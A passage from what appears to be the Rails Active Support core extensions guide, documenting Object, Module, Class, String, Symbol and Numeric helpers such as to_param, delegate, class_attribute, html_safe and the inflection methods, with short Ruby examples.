  @number.try(:nest)  # => nil
@number.try!(:nest) # NoMethodError: undefined method `nest' for 1:Integer

Defined in active_support/core_ext/object/try.rb.

2.6 class_eval(*args, &block)

You can evaluate code in the context of any object's singleton class using class_eval:

  class Proc
  def bind(object)
    block, time = self, Time.current
    object.class_eval do
      method_name = "__bind_#{time.to_i}_#{time.usec}"
      define_method(method_name, &block)
      method = instance_method(method_name)
      remove_method(method_name)
      method
    end.bind(object)
  end
end

Defined in active_support/core_ext/kernel/singleton_class.rb.

2.7 acts_like?(duck)

The method acts_like? provides a way to check whether some class acts like some other class based on a simple convention: a class that provides the same interface as String defines

  def acts_like_string?
end

which is only a marker, its body or return value are irrelevant. Then, client code can query for duck-type-safeness this way:

  some_klass.acts_like?(:string)

Rails has classes that act like Date or Time and follow this contract.

Defined in active_support/core_ext/object/acts_like.rb.

2.8 to_param

All objects in Rails respond to the method to_param, which is meant to return something that represents them as values in a query string, or as URL fragments.

By default to_param just calls to_s:

  7.to_param # => "7"

The return value of to_param should not be escaped:

  "Tom & Jerry".to_param # => "Tom & Jerry"

Several classes in Rails overwrite this method.

For example nil, true, and false return themselves. Array#to_param calls to_param on the elements and joins the result with "/":

  [0, true, String].to_param # => "0/true/String"

Notably, the Rails routing system calls to_param on models to get a value for the :id placeholder. ActiveRecord::Base#to_param returns the id of a model, but you can redefine that method in your models. For example, given

  class User
  def to_param
    "#{id}-#{name.parameterize}"
  end
end

we get:

  user_path(@user) # => "/users/357-john-smith"

Controllers need to be aware of any redefinition of to_param because when a request like that comes in "357-john-smith" is the value of params[:id].

Defined in active_support/core_ext/object/to_param.rb.

2.9 to_query

The to_query method constructs a query string that associates a given key with the return value of to_param. For example, with the following to_param definition:

  class User
  def to_param
    "#{id}-#{name.parameterize}"
  end
end

we get:

  current_user.to_query('user') # => "user=357-john-smith"

This method escapes whatever is needed, both for the key and the value:

  account.to_query('company[name]')
# => "company%5Bname%5D=Johnson+%26+Johnson"

so its output is ready to be used in a query string.

Arrays return the result of applying to_query to each element with key[] as key, and join the result with "&":

  [3.4, -45.6].to_query('sample')
# => "sample%5B%5D=3.4&sample%5B%5D=-45.6"

Hashes also respond to to_query but with a different signature. If no argument is passed a call generates a sorted series of key/value assignments calling to_query(key) on its values. Then it joins the result with "&":

  {c: 3, b: 2, a: 1}.to_query # => "a=1&b=2&c=3"

The method Hash#to_query accepts an optional namespace for the keys:

  {id: 89, name: "John Smith"}.to_query('user')
# => "user%5Bid%5D=89&user%5Bname%5D=John+Smith"

Defined in active_support/core_ext/object/to_query.rb.

2.10 with_options

The method with_options provides a way to factor out common options in a series of method calls.

Given a default options hash, with_options yields a proxy object to a block. Within the block, methods called on the proxy are forwarded to the receiver with their options merged. For example, you get rid of the duplication in:

  class Account < ApplicationRecord
  has_many :customers, dependent: :destroy
  has_many :products,  dependent: :destroy
  has_many :invoices,  dependent: :destroy
  has_many :expenses,  dependent: :destroy
end

this way:

  class Account < ApplicationRecord
  with_options dependent: :destroy do |assoc|
    assoc.has_many :customers
    assoc.has_many :products
    assoc.has_many :invoices
    assoc.has_many :expenses
  end
end

That idiom may convey grouping to the reader as well. For example, say you want to send a newsletter whose language depends on the user. Somewhere in the mailer you could group locale-dependent bits like this:

  I18n.with_options locale: user.locale, scope: "newsletter" do |i18n|
  subject i18n.t :subject
  body    i18n.t :body, user_name: user.name
end

Since with_options forwards calls to its receiver they can be nested. Each nesting level will merge inherited defaults in addition to their own.

Defined in active_support/core_ext/object/with_options.rb.

2.11 JSON Support

Active Support provides a better implementation of to_json than the json gem ordinarily provides for Ruby objects. This is because some classes, like Hash and Process::Status need special handling in order to provide a proper JSON representation.

Defined in active_support/core_ext/object/json.rb.

2.12 Instance Variables

Active Support provides several methods to ease access to instance variables.

2.12.1 instance_values

The method instance_values returns a hash that maps instance variable names without "@" to their corresponding values. Keys are strings:

  class C
  def initialize(x, y)
    @x, @y = x, y
  end
end

C.new(0, 1).instance_values # => {"x" => 0, "y" => 1}

Defined in active_support/core_ext/object/instance_variables.rb.

2.12.2 instance_variable_names

The method instance_variable_names returns an array. Each name includes the "@" sign.

  class C
  def initialize(x, y)
    @x, @y = x, y
  end
end

C.new(0, 1).instance_variable_names # => ["@x", "@y"]

Defined in active_support/core_ext/object/instance_variables.rb.

2.13 Silencing Warnings and Exceptions

The methods silence_warnings and enable_warnings change the value of $VERBOSE accordingly for the duration of their block, and reset it afterwards:

  silence_warnings { Object.const_set "RAILS_DEFAULT_LOGGER", logger }

Silencing exceptions is also possible with suppress. This method receives an arbitrary number of exception classes. If an exception is raised during the execution of the block and is kind_of? any of the arguments, suppress captures it and returns silently. Otherwise the exception is not captured:

  # If the user is locked, the increment is lost, no big deal.
suppress(ActiveRecord::StaleObjectError) do
  current_user.increment! :visits
end

Defined in active_support/core_ext/kernel/reporting.rb.

2.14 in?

The predicate in? tests if an object is included in another object. An ArgumentError exception will be raised if the argument passed does not respond to include?.

Examples of in?:

  1.in?([1,2])        # => true
"lo".in?("hello")   # => true
25.in?(30..50)      # => false
1.in?(1)            # => ArgumentError

Defined in active_support/core_ext/object/inclusion.rb.

3 Extensions to Module

3.1 Attributes

3.1.1 alias_attribute

Model attributes have a reader, a writer, and a predicate. You can alias a model attribute having the corresponding three methods all defined for you by using alias_attribute. As in other aliasing methods, the new name is the first argument, and the old name is the second (one mnemonic is that they go in the same order as if you did an assignment):

  class User < ApplicationRecord
  # You can refer to the email column as "login".
  # This can be meaningful for authentication code.
  alias_attribute :login, :email
end

Defined in active_support/core_ext/module/aliasing.rb.

3.1.2 Internal Attributes

When you are defining an attribute in a class that is meant to be subclassed, name collisions are a risk. That's remarkably important for libraries.

Active Support defines the macros attr_internal_reader, attr_internal_writer, and attr_internal_accessor. They behave like their Ruby built-in attr_* counterparts, except they name the underlying instance variable in a way that makes collisions less likely.

The macro attr_internal is a synonym for attr_internal_accessor:

  # library
class ThirdPartyLibrary::Crawler
  attr_internal :log_level
end

# client code
class MyCrawler < ThirdPartyLibrary::Crawler
  attr_accessor :log_level
end

In the previous example it could be the case that :log_level does not belong to the public interface of the library and it is only used for development. The client code, unaware of the potential conflict, subclasses and defines its own :log_level. Thanks to attr_internal there's no collision.

By default the internal instance variable is named with a leading underscore, @_log_level in the example above. That's configurable via Module.attr_internal_naming_format though, you can pass any sprintf-like format string with a leading @ and a %s somewhere, which is where the name will be placed. The default is "@_%s".

Rails uses internal attributes in a few spots, for examples for views:

  module ActionView
  class Base
    attr_internal :captures
    attr_internal :request, :layout
    attr_internal :controller, :template
  end
end

Defined in active_support/core_ext/module/attr_internal.rb.

3.1.3 Module Attributes

The macros mattr_reader, mattr_writer, and mattr_accessor are the same as the cattr_* macros defined for class. In fact, the cattr_* macros are just aliases for the mattr_* macros. Check Class Attributes.

For example, the API for the logger of Active Storage is generated with mattr_accessor:

  module ActiveStorage
  mattr_accessor :logger
end

Defined in active_support/core_ext/module/attribute_accessors.rb.

3.2 Parents

3.2.1 module_parent

The module_parent method on a nested named module returns the module that contains its corresponding constant:

  module X
  module Y
    module Z
    end
  end
end
M = X::Y::Z

X::Y::Z.module_parent # => X::Y
M.module_parent       # => X::Y

If the module is anonymous or belongs to the top-level, module_parent returns Object.

Note that in that case module_parent_name returns nil.

Defined in active_support/core_ext/module/introspection.rb.

3.2.2 module_parent_name

The module_parent_name method on a nested named module returns the fully qualified name of the module that contains its corresponding constant:

  module X
  module Y
    module Z
    end
  end
end
M = X::Y::Z

X::Y::Z.module_parent_name # => "X::Y"
M.module_parent_name       # => "X::Y"

For top-level or anonymous modules module_parent_name returns nil.

Note that in that case module_parent returns Object.

Defined in active_support/core_ext/module/introspection.rb.

3.2.3 module_parents

The method module_parents calls module_parent on the receiver and upwards until Object is reached. The chain is returned in an array, from bottom to top:

  module X
  module Y
    module Z
    end
  end
end
M = X::Y::Z

X::Y::Z.module_parents # => [X::Y, X, Object]
M.module_parents       # => [X::Y, X, Object]

Defined in active_support/core_ext/module/introspection.rb.

3.3 Anonymous

A module may or may not have a name:

  module M
end
M.name # => "M"

N = Module.new
N.name # => "N"

Module.new.name # => nil

You can check whether a module has a name with the predicate anonymous?:

  module M
end
M.anonymous? # => false

Module.new.anonymous? # => true

Note that being unreachable does not imply being anonymous:

  module M
end

m = Object.send(:remove_const, :M)

m.anonymous? # => false

though an anonymous module is unreachable by definition.

Defined in active_support/core_ext/module/anonymous.rb.

3.4 Method Delegation

3.4.1 delegate

The macro delegate offers an easy way to forward methods.

Let's imagine that users in some application have login information in the User model but name and other data in a separate Profile model:

  class User < ApplicationRecord
  has_one :profile
end

With that configuration you get a user's name via their profile, user.profile.name, but it could be handy to still be able to access such attribute directly:

  class User < ApplicationRecord
  has_one :profile

  def name
    profile.name
  end
end

That is what delegate does for you:

  class User < ApplicationRecord
  has_one :profile

  delegate :name, to: :profile
end

It is shorter, and the intention more obvious.

The method must be public in the target.

The delegate macro accepts several methods:

  delegate :name, :age, :address, :twitter, to: :profile

When interpolated into a string, the :to option should become an expression that evaluates to the object the method is delegated to. Typically a string or symbol. Such an expression is evaluated in the context of the receiver:

  # delegates to the Rails constant
delegate :logger, to: :Rails

# delegates to the receiver's class
delegate :table_name, to: :class

If the :prefix option is true this is less generic, see below.

By default, if the delegation raises NoMethodError and the target is nil the exception is propagated. You can ask that nil is returned instead with the :allow_nil option:

  delegate :name, to: :profile, allow_nil: true

With :allow_nil the call user.name returns nil if the user has no profile.

The option :prefix adds a prefix to the name of the generated method. This may be handy for example to get a better name:

  delegate :street, to: :address, prefix: true

The previous example generates address_street rather than street.

Since in this case the name of the generated method is composed of the target object and target method names, the :to option must be a method name.

A custom prefix may also be configured:

  delegate :size, to: :attachment, prefix: :avatar

In the previous example the macro generates avatar_size rather than size.

The option :private changes methods scope:

  delegate :date_of_birth, to: :profile, private: true

The delegated methods are public by default. Pass private: true to change that.

Defined in active_support/core_ext/module/delegation.rb.

3.4.2 delegate_missing_to

Imagine you would like to delegate everything missing from the User object, to the Profile one. The delegate_missing_to macro lets you implement this in a breeze:

  class User < ApplicationRecord
  has_one :profile

  delegate_missing_to :profile
end

The target can be anything callable within the object, e.g. instance variables, methods, constants, etc. Only the public methods of the target are delegated.

Defined in active_support/core_ext/module/delegation.rb.

3.5 Redefining Methods

There are cases where you need to define a method with define_method, but don't know whether a method with that name already exists. If it does, a warning is issued if they are enabled. No big deal, but not clean either.

The method redefine_method prevents such a potential warning, removing the existing method before if needed.

You can also use silence_redefinition_of_method if you need to define the replacement method yourself (because you're using delegate, for example).

Defined in active_support/core_ext/module/redefine_method.rb.

4 Extensions to Class

4.1 Class Attributes

4.1.1 class_attribute

The method class_attribute declares one or more inheritable class attributes that can be overridden at any level down the hierarchy.

  class A
  class_attribute :x
end

class B < A; end

class C < B; end

A.x = :a
B.x # => :a
C.x # => :a

B.x = :b
A.x # => :a
C.x # => :b

C.x = :c
A.x # => :a
B.x # => :b

For example ActionMailer::Base defines:

  class_attribute :default_params
self.default_params = {
  mime_version: "1.0",
  charset: "UTF-8",
  content_type: "text/plain",
  parts_order: [ "text/plain", "text/enriched", "text/html" ]
}.freeze

They can also be accessed and overridden at the instance level.

  A.x = 1

a1 = A.new
a2 = A.new
a2.x = 2

a1.x # => 1, comes from A
a2.x # => 2, overridden in a2

The generation of the writer instance method can be prevented by setting the option :instance_writer to false.

  module ActiveRecord
  class Base
    class_attribute :table_name_prefix, instance_writer: false, default: "my"
  end
end

A model may find that option useful as a way to prevent mass-assignment from setting the attribute.

The generation of the reader instance method can be prevented by setting the option :instance_reader to false.

  class A
  class_attribute :x, instance_reader: false
end

A.new.x = 1
A.new.x # NoMethodError

For convenience class_attribute also defines an instance predicate which is the double negation of what the instance reader returns. In the examples above it would be called x?.

When :instance_reader is false, the instance predicate returns a NoMethodError just like the reader method.

If you do not want the instance predicate, pass instance_predicate: false and it will not be defined.

Defined in active_support/core_ext/class/attribute.rb.

4.1.2 cattr_reader, cattr_writer, and cattr_accessor

The macros cattr_reader, cattr_writer, and cattr_accessor are analogous to their attr_* counterparts but for classes. They initialize a class variable to nil unless it already exists, and generate the corresponding class methods to access it:

  class MysqlAdapter < AbstractAdapter
  # Generates class methods to access @@emulate_booleans.
  cattr_accessor :emulate_booleans
end

Also, you can pass a block to cattr_* to set up the attribute with a default value:

  class MysqlAdapter < AbstractAdapter
  # Generates class methods to access @@emulate_booleans with default value of true.
  cattr_accessor :emulate_booleans, default: true
end

Instance methods are created as well for convenience, they are just proxies to the class attribute. So, instances can change the class attribute, but cannot override it as it happens with class_attribute (see above). For example given

  module ActionView
  class Base
    cattr_accessor :field_error_proc, default: Proc.new { ... }
  end
end

we can access field_error_proc in views.

The generation of the reader instance method can be prevented by setting :instance_reader to false and the generation of the writer instance method can be prevented by setting :instance_writer to false. Generation of both methods can be prevented by setting :instance_accessor to false. In all cases, the value must be exactly false and not any false value.

  module A
  class B
    # No first_name instance reader is generated.
    cattr_accessor :first_name, instance_reader: false
    # No last_name= instance writer is generated.
    cattr_accessor :last_name, instance_writer: false
    # No surname instance reader or surname= writer is generated.
    cattr_accessor :surname, instance_accessor: false
  end
end

A model may find it useful to set :instance_accessor to false as a way to prevent mass-assignment from setting the attribute.

Defined in active_support/core_ext/module/attribute_accessors.rb.

4.2 Subclasses and Descendants

4.2.1 subclasses

The subclasses method returns the subclasses of the receiver:

  class C; end
C.subclasses # => []

class B < C; end
C.subclasses # => [B]

class A < B; end
C.subclasses # => [B]

class D < C; end
C.subclasses # => [B, D]

The order in which these classes are returned is unspecified.

Defined in active_support/core_ext/class/subclasses.rb.

4.2.2 descendants

The descendants method returns all classes that are < than its receiver:

  class C; end
C.descendants # => []

class B < C; end
C.descendants # => [B]

class A < B; end
C.descendants # => [B, A]

class D < C; end
C.descendants # => [B, A, D]

The order in which these classes are returned is unspecified.

Defined in active_support/core_ext/class/subclasses.rb.

5 Extensions to String

5.1 Output Safety

5.1.1 Motivation

Inserting data into HTML templates needs extra care. For example, you can't just interpolate @review.title verbatim into an HTML page. For one thing, if the review title is "Flanagan & Matz rules!" the output won't be well-formed because an ampersand has to be escaped as "&amp;". What's more, depending on the application, that may be a big security hole because users can inject malicious HTML setting a hand-crafted review title. Check out the section about cross-site scripting in the Security guide for further information about the risks.

5.1.2 Safe Strings

Active Support has the concept of (html) safe strings. A safe string is one that is marked as being insertable into HTML as is. It is trusted, no matter whether it has been escaped or not.

Strings are considered to be unsafe by default:

  "".html_safe? # => false

You can obtain a safe string from a given one with the html_safe method:

  s = "".html_safe
s.html_safe? # => true

It is important to understand that html_safe performs no escaping whatsoever, it is just an assertion:

  s = "<script>...</script>".html_safe
s.html_safe? # => true
s            # => "<script>...</script>"

It is your responsibility to ensure calling html_safe on a particular string is fine.

If you append onto a safe string, either in-place with concat/<<, or with +, the result is a safe string. Unsafe arguments are escaped:

  "".html_safe + "<" # => "&lt;"

Safe arguments are directly appended:

  "".html_safe + "<".html_safe # => "<"

These methods should not be used in ordinary views. Unsafe values are automatically escaped:

  <%= @review.title %> <%# fine, escaped if needed %>

To insert something verbatim use the raw helper rather than calling html_safe:

  <%= raw @cms.current_template %> <%# inserts @cms.current_template as is %>

or, equivalently, use <%==:

  <%== @cms.current_template %> <%# inserts @cms.current_template as is %>

The raw helper calls html_safe for you:

  def raw(stringish)
  stringish.to_s.html_safe
end

Defined in active_support/core_ext/string/output_safety.rb.

5.1.3 Transformation

As a rule of thumb, except perhaps for concatenation as explained above, any method that may change a string gives you an unsafe string. These are downcase, gsub, strip, chomp, underscore, etc.

In the case of in-place transformations like gsub! the receiver itself becomes unsafe.

The safety bit is lost always, no matter whether the transformation actually changed something.

5.1.4 Conversion and Coercion

Calling to_s on a safe string returns a safe string, but coercion with to_str returns an unsafe string.

5.1.5 Copying

Calling dup or clone on safe strings yields safe strings.

5.2 remove

The method remove will remove all occurrences of the pattern:

  "Hello World".remove(/Hello /) # => "World"

There's also the destructive version String#remove!.

Defined in active_support/core_ext/string/filters.rb.

5.3 squish

The method squish strips leading and trailing whitespace, and substitutes runs of whitespace with a single space each:

  " \n  foo\n\r \t bar \n".squish # => "foo bar"

There's also the destructive version String#squish!.

Note that it handles both ASCII and Unicode whitespace.

Defined in active_support/core_ext/string/filters.rb.

5.4 truncate

The method truncate returns a copy of its receiver truncated after a given length:

  "Oh dear! Oh dear! I shall be late!".truncate(20)
# => "Oh dear! Oh dear!..."

Ellipsis can be customized with the :omission option:

  "Oh dear! Oh dear! I shall be late!".truncate(20, omission: '&hellip;')
# => "Oh dear! Oh &hellip;"

Note in particular that truncation takes into account the length of the omission string.

Pass a :separator to truncate the string at a natural break:

  "Oh dear! Oh dear! I shall be late!".truncate(18)
# => "Oh dear! Oh dea..."
"Oh dear! Oh dear! I shall be late!".truncate(18, separator: ' ')
# => "Oh dear! Oh..."

The option :separator can be a regexp:

  "Oh dear! Oh dear! I shall be late!".truncate(18, separator: /\s/)
# => "Oh dear! Oh..."

In above examples "dear" gets cut first, but then :separator prevents it.

Defined in active_support/core_ext/string/filters.rb.

5.5 truncate_bytes

The method truncate_bytes returns a copy of its receiver truncated to at most bytesize bytes:

  "👍👍👍👍".truncate_bytes(15)
# => "👍👍👍…"

Ellipsis can be customized with the :omission option:

  "👍👍👍👍".truncate_bytes(15, omission: "🖖")
# => "👍👍🖖"

Defined in active_support/core_ext/string/filters.rb.

5.6 truncate_words

The method truncate_words returns a copy of its receiver truncated after a given number of words:

  "Oh dear! Oh dear! I shall be late!".truncate_words(4)
# => "Oh dear! Oh dear!..."

Ellipsis can be customized with the :omission option:

  "Oh dear! Oh dear! I shall be late!".truncate_words(4, omission: '&hellip;')
# => "Oh dear! Oh dear!&hellip;"

Pass a :separator to truncate the string at a natural break:

  "Oh dear! Oh dear! I shall be late!".truncate_words(3, separator: '!')
# => "Oh dear! Oh dear! I shall be late..."

The option :separator can be a regexp:

  "Oh dear! Oh dear! I shall be late!".truncate_words(4, separator: /\s/)
# => "Oh dear! Oh dear!..."

Defined in active_support/core_ext/string/filters.rb.

5.7 inquiry

The inquiry method converts a string into a StringInquirer object making equality checks prettier.

  "production".inquiry.production? # => true
"active".inquiry.inactive?       # => false

Defined in active_support/core_ext/string/inquiry.rb.

5.8 starts_with? and ends_with?

Active Support defines 3rd person aliases of String#start_with? and String#end_with?:

  "foo".starts_with?("f") # => true
"foo".ends_with?("o")   # => true

Defined in active_support/core_ext/string/starts_ends_with.rb.

5.9 strip_heredoc

The method strip_heredoc strips indentation in heredocs.

For example in

  if options[:usage]
  puts <<-USAGE.strip_heredoc
    This command does such and such.

    Supported options are:
      -h         This message
      ...
  USAGE
end

the user would see the usage message aligned against the left margin.

Technically, it looks for the least indented line in the whole string, and removes that amount of leading whitespace.

Defined in active_support/core_ext/string/strip.rb.

5.10 indent

The indent method indents the lines in the receiver:

  <<EOS.indent(2)
def some_method
  some_code
end
EOS
# =>
  def some_method
    some_code
  end

The second argument, indent_string, specifies which indent string to use. The default is nil, which tells the method to make an educated guess peeking at the first indented line, and fallback to a space if there is none.

  "  foo".indent(2)        # => "    foo"
"foo\n\t\tbar".indent(2) # => "\t\tfoo\n\t\t\t\tbar"
"foo".indent(2, "\t")    # => "\t\tfoo"

While indent_string is typically one space or tab, it may be any string.

The third argument, indent_empty_lines, is a flag that says whether empty lines should be indented. Default is false.

  "foo\n\nbar".indent(2)            # => "  foo\n\n  bar"
"foo\n\nbar".indent(2, nil, true) # => "  foo\n  \n  bar"

The indent! method performs indentation in-place.

Defined in active_support/core_ext/string/indent.rb.

5.11 Access

5.11.1 at(position)

The at method returns the character of the string at position position:

  "hello".at(0)  # => "h"
"hello".at(4)  # => "o"
"hello".at(-1) # => "o"
"hello".at(10) # => nil

Defined in active_support/core_ext/string/access.rb.

5.11.2 from(position)

The from method returns the substring of the string starting at position position:

  "hello".from(0)  # => "hello"
"hello".from(2)  # => "llo"
"hello".from(-2) # => "lo"
"hello".from(10) # => nil

Defined in active_support/core_ext/string/access.rb.

5.11.3 to(position)

The to method returns the substring of the string up to position position:

  "hello".to(0)  # => "h"
"hello".to(2)  # => "hel"
"hello".to(-2) # => "hell"
"hello".to(10) # => "hello"

Defined in active_support/core_ext/string/access.rb.

5.11.4 first(limit = 1)

The first method returns a substring containing the first limit characters of the string.

The call str.first(n) is equivalent to str.to(n-1) if n > 0, and returns an empty string for n == 0.

Defined in active_support/core_ext/string/access.rb.

5.11.5 last(limit = 1)

The last method returns a substring containing the last limit characters of the string.

The call str.last(n) is equivalent to str.from(-n) if n > 0, and returns an empty string for n == 0.

Defined in active_support/core_ext/string/access.rb.

5.12 Inflections

5.12.1 pluralize

The method pluralize returns the plural of its receiver:

  "table".pluralize     # => "tables"
"ruby".pluralize      # => "rubies"
"equipment".pluralize # => "equipment"

As the previous example shows, Active Support knows some irregular plurals and uncountable nouns. Built-in rules can be extended in config/initializers/inflections.rb. This file is generated by default, by the rails new command and has instructions in comments.

pluralize can also take an optional count parameter. If count == 1 the singular form will be returned. For any other value of count the plural form will be returned:

  "dude".pluralize(0) # => "dudes"
"dude".pluralize(1) # => "dude"
"dude".pluralize(2) # => "dudes"

Active Record uses this method to compute the default table name that corresponds to a model:

  # active_record/model_schema.rb
def undecorated_table_name(model_name)
  table_name = model_name.to_s.demodulize.underscore
  pluralize_table_names ? table_name.pluralize : table_name
end

Defined in active_support/core_ext/string/inflections.rb.

5.12.2 singularize

The singularize method is the inverse of pluralize:

  "tables".singularize    # => "table"
"rubies".singularize    # => "ruby"
"equipment".singularize # => "equipment"

Associations compute the name of the corresponding default associated class using this method:

  # active_record/reflection.rb
def derive_class_name
  class_name = name.to_s.camelize
  class_name = class_name.singularize if collection?
  class_name
end

Defined in active_support/core_ext/string/inflections.rb.

5.12.3 camelize

The method camelize returns its receiver in camel case:

  "product".camelize    # => "Product"
"admin_user".camelize # => "AdminUser"

As a rule of thumb you can think of this method as the one that transforms paths into Ruby class or module names, where slashes separate namespaces:

  "backoffice/session".camelize # => "Backoffice::Session"

For example, Action Pack uses this method to load the class that provides a certain session store:

  # action_controller/metal/session_management.rb
def session_store=(store)
  @@session_store = store.is_a?(Symbol) ?
    ActionDispatch::Session.const_get(store.to_s.camelize) :
    store
end

camelize accepts an optional argument, it can be :upper (default), or :lower. With the latter the first letter becomes lowercase:

  "visual_effect".camelize(:lower) # => "visualEffect"

That may be handy to compute method names in a language that follows that convention, for example JavaScript.

As a rule of thumb you can think of camelize as the inverse of underscore, though there are cases where that does not hold: "SSLError".underscore.camelize gives back "SslError". To support cases such as this, Active Support allows you to specify acronyms in config/initializers/inflections.rb:

  ActiveSupport::Inflector.inflections do |inflect|
  inflect.acronym 'SSL'
end

"SSLError".underscore.camelize # => "SSLError"

camelize is aliased to camelcase.

Defined in active_support/core_ext/string/inflections.rb.

5.12.4 underscore

The method underscore goes the other way around, from camel case to paths:

  "Product".underscore   # => "product"
"AdminUser".underscore # => "admin_user"

Also converts "::" back to "/":

  "Backoffice::Session".underscore # => "backoffice/session"

and understands strings that start with lowercase:

  "visualEffect".underscore # => "visual_effect"

underscore accepts no argument though.

Rails uses underscore to get a lowercased name for controller classes:

  # actionpack/lib/abstract_controller/base.rb
def controller_path
  @controller_path ||= name.delete_suffix("Controller").underscore
end

For example, that value is the one you get in params[:controller].

As a rule of thumb you can think of underscore as the inverse of camelize, though there are cases where that does not hold. For example, "SSLError".underscore.camelize gives back "SslError".

Defined in active_support/core_ext/string/inflections.rb.

5.12.5 titleize

The method titleize capitalizes the words in the receiver:

  "alice in wonderland".titleize # => "Alice In Wonderland"
"fermat's enigma".titleize     # => "Fermat's Enigma"

titleize is aliased to titlecase.

Defined in active_support/core_ext/string/inflections.rb.

5.12.6 dasherize

The method dasherize replaces the underscores in the receiver with dashes:

  "name".dasherize         # => "name"
"contact_data".dasherize # => "contact-data"

The XML serializer of models uses this method to dasherize node names:

  # active_model/serializers/xml.rb
def reformat_name(name)
  name = name.camelize if camelize?
  dasherize? ? name.dasherize : name
end

Defined in active_support/core_ext/string/inflections.rb.

5.12.7 demodulize

Given a string with a qualified constant name, demodulize returns the very constant name, that is, the rightmost part of it:

  "Product".demodulize                        # => "Product"
"Backoffice::UsersController".demodulize    # => "UsersController"
"Admin::Hotel::ReservationUtils".demodulize # => "ReservationUtils"
"::Inflections".demodulize                  # => "Inflections"
"".demodulize                               # => ""

Active Record for example uses this method to compute the name of a counter cache column:

  # active_record/reflection.rb
def counter_cache_column
  if options[:counter_cache] == true
    "#{active_record.name.demodulize.underscore.pluralize}_count"
  elsif options[:counter_cache]
    options[:counter_cache]
  end
end

Defined in active_support/core_ext/string/inflections.rb.

5.12.8 deconstantize

Given a string with a qualified constant reference expression, deconstantize removes the rightmost segment, generally leaving the name of the constant's container:

  "Product".deconstantize                        # => ""
"Backoffice::UsersController".deconstantize    # => "Backoffice"
"Admin::Hotel::ReservationUtils".deconstantize # => "Admin::Hotel"

Defined in active_support/core_ext/string/inflections.rb.

5.12.9 parameterize

The method parameterize normalizes its receiver in a way that can be used in pretty URLs.

  "John Smith".parameterize # => "john-smith"
"Kurt Gödel".parameterize # => "kurt-godel"

To preserve the case of the string, set the preserve_case argument to true. By default, preserve_case is set to false.

  "John Smith".parameterize(preserve_case: true) # => "John-Smith"
"Kurt Gödel".parameterize(preserve_case: true) # => "Kurt-Godel"

To use a custom separator, override the separator argument.

  "John Smith".parameterize(separator: "_") # => "john_smith"
"Kurt Gödel".parameterize(separator: "_") # => "kurt_godel"

Defined in active_support/core_ext/string/inflections.rb.

5.12.10 tableize

The method tableize is underscore followed by pluralize.

  "Person".tableize      # => "people"
"Invoice".tableize     # => "invoices"
"InvoiceLine".tableize # => "invoice_lines"

As a rule of thumb, tableize returns the table name that corresponds to a given model for simple cases. The actual implementation in Active Record is not straight tableize indeed, because it also demodulizes the class name and checks a few options that may affect the returned string.

Defined in active_support/core_ext/string/inflections.rb.

5.12.11 classify

The method classify is the inverse of tableize. It gives you the class name corresponding to a table name:

  "people".classify        # => "Person"
"invoices".classify      # => "Invoice"
"invoice_lines".classify # => "InvoiceLine"

The method understands qualified table names:

  "highrise_production.companies".classify # => "Company"

Note that classify returns a class name as a string. You can get the actual class object by invoking constantize on it, explained next.

Defined in active_support/core_ext/string/inflections.rb.

5.12.12 constantize

The method constantize resolves the constant reference expression in its receiver:

  "Integer".constantize # => Integer

module M
  X = 1
end
"M::X".constantize # => 1

If the string evaluates to no known constant, or its content is not even a valid constant name, constantize raises NameError.

Constant name resolution by constantize starts always at the top-level Object even if there is no leading "::".

  X = :in_Object
module M
  X = :in_M

  X                 # => :in_M
  "::X".constantize # => :in_Object
  "X".constantize   # => :in_Object (!)
end

So, it is in general not equivalent to what Ruby would do in the same spot, had a real constant be evaluated.

Mailer test cases obtain the mailer being tested from the name of the test class using constantize:

  # action_mailer/test_case.rb
def determine_default_mailer(name)
  name.delete_suffix("Test").constantize
rescue NameError => e
  raise NonInferrableMailerError.new(name)
end

Defined in active_support/core_ext/string/inflections.rb.

5.12.13 humanize

The method humanize tweaks an attribute name for display to end users.

Specifically, it performs these transformations:

Applies human inflection rules to the argument.

Deletes leading underscores, if any.

Removes a "_id" suffix if present.

Replaces underscores with spaces, if any.

Downcases all words except acronyms.

Capitalizes the first word.

The capitalization of the first word can be turned off by setting the :capitalize option to false (default is true).

  "name".humanize                         # => "Name"
"author_id".humanize                    # => "Author"
"author_id".humanize(capitalize: false) # => "author"
"comments_count".humanize               # => "Comments count"
"_id".humanize                          # => "Id"

If "SSL" was defined to be an acronym:

  'ssl_error'.humanize # => "SSL error"

The helper method full_messages uses humanize as a fallback to include attribute names:

  def full_messages
  map { |attribute, message| full_message(attribute, message) }
end

def full_message
  # ...
  attr_name = attribute.to_s.tr('.', '_').humanize
  attr_name = @base.class.human_attribute_name(attribute, default: attr_name)
  # ...
end

Defined in active_support/core_ext/string/inflections.rb.

5.12.14 foreign_key

The method foreign_key gives a foreign key column name from a class name. To do so it demodulizes, underscores, and adds "_id":

  "User".foreign_key           # => "user_id"
"InvoiceLine".foreign_key    # => "invoice_line_id"
"Admin::Session".foreign_key # => "session_id"

Pass a false argument if you do not want the underscore in "_id":

  "User".foreign_key(false) # => "userid"

Associations use this method to infer foreign keys, for example has_one and has_many do this:

  # active_record/associations.rb
foreign_key = options[:foreign_key] || reflection.active_record.name.foreign_key

Defined in active_support/core_ext/string/inflections.rb.

5.13 Conversions

5.13.1 to_date, to_time, to_datetime

The methods to_date, to_time, and to_datetime are basically convenience wrappers around Date._parse:

  "2010-07-27".to_date              # => Tue, 27 Jul 2010
"2010-07-27 23:37:00".to_time     # => 2010-07-27 23:37:00 +0200
"2010-07-27 23:37:00".to_datetime # => Tue, 27 Jul 2010 23:37:00 +0000

to_time receives an optional argument :utc or :local, to indicate which time zone you want the time in:

  "2010-07-27 23:42:00".to_time(:utc)   # => 2010-07-27 23:42:00 UTC
"2010-07-27 23:42:00".to_time(:local) # => 2010-07-27 23:42:00 +0200

Default is :local.

Please refer to the documentation of Date._parse for further details.

The three of them return nil for blank receivers.

Defined in active_support/core_ext/string/conversions.rb.

6 Extensions to Symbol

6.1 starts_with? and ends_with?

Active Support defines 3rd person aliases of Symbol#start_with? and Symbol#end_with?:

  :foo.starts_with?("f") # => true
:foo.ends_with?("o")   # => true

Defined in active_support/core_ext/symbol/starts_ends_with.rb.

7 Extensions to Numeric

7.1 Bytes

All numbers respond to these methods:

bytes

kilobytes

megabytes

gigabytes

terabytes

petabytes

exabytes

They return the corresponding amount of bytes, using a conversion factor of 1024:

  2.kilobytes   # => 2048
3.megabytes   # => 3145728
3.5.gigabytes # => 3758096384
-4.exabytes   # => -4611686018427387904

Singular forms are aliased so you are able to say:

  1.megabyte # => 1048576

Defined in active_support/core_ext/numeric/bytes.rb.

